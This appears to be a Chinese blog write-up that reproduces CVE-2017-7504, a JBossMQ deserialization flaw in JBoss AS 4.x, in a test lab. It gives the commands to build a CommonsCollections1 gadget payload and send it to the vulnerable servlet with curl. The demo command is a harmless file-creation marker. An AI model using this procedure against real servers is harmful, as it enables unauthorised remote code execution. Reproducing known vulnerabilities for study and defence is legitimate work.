JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

最新推荐文章于 2025-05-19 17:10:54 发布

tdcoming

最新推荐文章于 2025-05-19 17:10:54 发布

阅读量2.6k

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞利用 WEB安全文章标签： Jboss 反序列化

本文链接：https://blog.youkuaiyun.com/qq_29647709/article/details/85040701

漏洞利用同时被 2 个专栏收录

37 篇文章

订阅专栏

WEB安全

34 篇文章

订阅专栏

本文深入探讨了Red Hat JBoss Application Server中的JBossMQ实现存在的反序列化漏洞，详细介绍了如何通过特制的序列化数据远程执行任意代码。文章提供了漏洞复现步骤，包括测试工具的使用和序列化数据的生成。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞环境

下载安装好测试目标
在这里插入图片描述
下载我们的测试工具
我们选择一个Gadget：ExampleCommonsCollections1WithHashMap，编译并生成序列化数据：

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/success"

可见，我们执行的命令是touch /tmp/success。执行完成后，将生成一个文件ExampleCommonsCollections1WithHashMap.ser，将该文件作为body发送如下数据包：

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

在我们的目标下面就可以看到相应的目录创建

参考链接：
https://www.jianshu.com/p/d265f9514f7d
在这里插入图片描述